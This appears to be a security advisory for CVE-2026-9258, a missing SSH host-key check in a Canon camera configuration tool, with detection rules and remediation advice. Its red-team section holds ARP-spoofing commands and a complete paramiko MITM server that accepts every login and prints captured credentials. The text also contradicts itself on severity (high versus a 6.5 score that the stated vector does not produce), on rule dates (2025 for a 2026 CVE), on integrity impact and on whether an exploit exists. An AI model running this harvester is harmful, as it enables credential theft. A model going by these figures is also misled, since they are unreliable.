CVE-2026-9258

Executive Summary

CVE-2026-9258 is a high-severity vulnerability in the Canon EOS Network Setting Tool, versions 1.5.0 and earlier. The flaw stems from improper validation of SSH host keys, which allows an attacker to perform a man-in-the-middle (MITM) attack. By presenting a forged SSH host key, an adversary can intercept, decrypt, and potentially modify network traffic between the tool and the camera, leading to unauthorized access to sensitive configuration data and control commands. The vulnerability has a CVSS score of 6.5 (Medium), but the impact is significant due to the potential for credential theft and device compromise. No public exploit code or proof-of-concept is currently available, and no official patch has been released by Canon.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The threat level is elevated due to the low attack complexity and the lack of user interaction required. An unauthenticated attacker on the same network can intercept SSH traffic and extract sensitive information, such as camera credentials and network configurations.

Deep Dive & Mechanics

The Canon EOS Network Setting Tool uses SSH to communicate with compatible Canon cameras for remote configuration and control. The vulnerability lies in the tool's failure to properly validate the SSH host key presented by the camera during the initial handshake. In a typical SSH connection, the client verifies the server's host key against a known list of trusted keys. However, in this case, the tool either does not perform this check or performs it incorrectly, allowing an attacker to present a forged key.

Attack Scenario:

1. The attacker positions themselves on the same network as the target camera and the user's computer running the Network Setting Tool.
2. Using ARP spoofing or a rogue DHCP server, the attacker redirects the tool's SSH connection to their own machine.
3. The attacker's machine presents a self-signed SSH host key.
4. The tool accepts the forged key without validation, establishing an encrypted session with the attacker.
5. The attacker can now decrypt all traffic, capturing credentials, configuration data, and commands sent to the camera.
6. The attacker can also modify commands or inject malicious payloads.

Vulnerable vs. Patched Code

Since no official patch is available, a comparison is based on expected secure implementation.

Vulnerable Code (Conceptual):

# Vulnerable: No host key verification
import paramiko

client = paramiko.SSHClient()
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())  # Automatically accepts unknown keys
client.connect('camera_ip', username='admin', password='password')

Patched Code (Conceptual):

# Patched: Proper host key verification
import paramiko

client = paramiko.SSHClient()
client.load_system_host_keys()  # Load known host keys
client.set_missing_host_key_policy(paramiko.RejectPolicy())  # Reject unknown keys
client.connect('camera_ip', username='admin', password='password')

The patched version would reject any connection where the host key does not match a pre-configured trusted key, preventing MITM attacks.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Canon EOS camera with Network Setting Tool 1.5.0
• Attacker: Kali Linux machine on the same subnet
• Tools: bettercap, mitmproxy, paramiko

Exploitation Steps:

1. Network Reconnaissance:

   sudo bettercap -eval "net.probe on; net.show"
   

2. ARP Spoofing:

   sudo bettercap -eval "set arp.spoof.targets 192.168.1.100; arp.spoof on"
   

3. SSH MITM Setup:

   # Generate a self-signed SSH host key
   ssh-keygen -t rsa -b 2048 -f /tmp/fake_host_key -N ""
   # Use a custom script to intercept SSH connections
   python3 ssh_mitm.py --host 0.0.0.0 --port 22 --key /tmp/fake_host_key
   

4. Capture Credentials: The MITM script logs all SSH traffic, including authentication attempts.

Example MITM Script (ssh_mitm.py):

import paramiko
import socket
import threading

class SSHServer(paramiko.ServerInterface):
    def __init__(self):
        self.event = threading.Event()

    def check_channel_request(self, kind, chanid):
        if kind == 'session':
            return paramiko.OPEN_SUCCEEDED
        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED

    def check_auth_password(self, username, password):
        print(f"Captured credentials: {username}:{password}")
        return paramiko.AUTH_SUCCESSFUL

def handle_connection(client_sock):
    transport = paramiko.Transport(client_sock)
    transport.add_server_key(paramiko.RSAKey(filename='/tmp/fake_host_key'))
    server = SSHServer()
    transport.start_server(server=server)
    channel = transport.accept(20)
    if channel:
        channel.close()

def main():
    server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_sock.bind(('0.0.0.0', 22))
    server_sock.listen(5)
    print("SSH MITM server listening on port 22...")
    while True:
        client_sock, addr = server_sock.accept()
        threading.Thread(target=handle_connection, args=(client_sock,)).start()

if __name__ == "__main__":
    main()

Blue Team

Detection & Response:

1. Network Monitoring: Monitor for ARP spoofing attacks using tools like arpwatch or Snort.
2. SSH Key Verification: Ensure all SSH clients are configured to verify host keys. Use a centralized SSH key management system.
3. Network Segmentation: Isolate camera networks from general user networks to limit exposure.
4. Log Analysis: Check for multiple SSH connection attempts from unknown IPs or failed key verifications.
5. Honeypot: Deploy a fake camera service to detect scanning and MITM attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusual ARP replies indicating ARP spoofing (e.g., multiple MAC addresses for the same IP)
  • SSH connections to unknown IP addresses on port 22
  • Traffic to/from IPs not in the authorized camera subnet
• Host IOCs:
  • Presence of paramiko or other SSH libraries in unexpected locations
  • Modified SSH configuration files (e.g., known_hosts with unknown keys)
  • Processes listening on port 22 that are not the legitimate SSH daemon
• File IOCs:
  • /tmp/fake_host_key or similar self-signed SSH keys
  • Log files containing captured credentials (e.g., captured_creds.txt)

Detection Engineering

YARA Rule

rule CVE_2026_9258_SSH_MITM {
    meta:
        description = "Detects SSH MITM tools used to exploit CVE-2026-9258"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-9258"
    strings:
        $s1 = "paramiko" ascii wide nocase
        $s2 = "AutoAddPolicy" ascii wide nocase
        $s3 = "fake_host_key" ascii wide nocase
        $s4 = "ssh_mitm" ascii wide nocase
    condition:
        any of ($s1, $s2, $s3, $s4)
}

Sigma Rule

title: SSH MITM Activity for CVE-2026-9258
id: 9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential SSH MITM attacks targeting Canon EOS Network Setting Tool
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\python.exe'
        CommandLine|contains:
            - 'paramiko'
            - 'AutoAddPolicy'
            - 'ssh_mitm'
            - 'fake_host_key'
    condition: selection
falsepositives:
    - Legitimate use of paramiko for development
level: high

Suricata Rule

alert tcp any any -> any 22 (msg:"CVE-2026-9258 - SSH MITM Attempt"; flow:to_server; content:"SSH-2.0-"; depth:7; content:"paramiko"; within:100; reference:cve,2026-9258; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Network Setting Tool until a patch is available.
2. Use a VPN to encrypt all traffic between the tool and the camera, adding an additional layer of security.
3. Implement network access controls to restrict which devices can communicate with the camera.
4. Monitor for suspicious SSH activity using the provided detection rules.

Long-Term Fix:

• Canon must release a patched version of the Network Setting Tool that properly validates SSH host keys. In the interim, users should consider using alternative methods for camera configuration, such as direct USB connection or a dedicated management VLAN.

Workaround:

• Manually add the camera's SSH host key to the known_hosts file on the management computer, and ensure the tool is configured to reject unknown keys.

Valters IT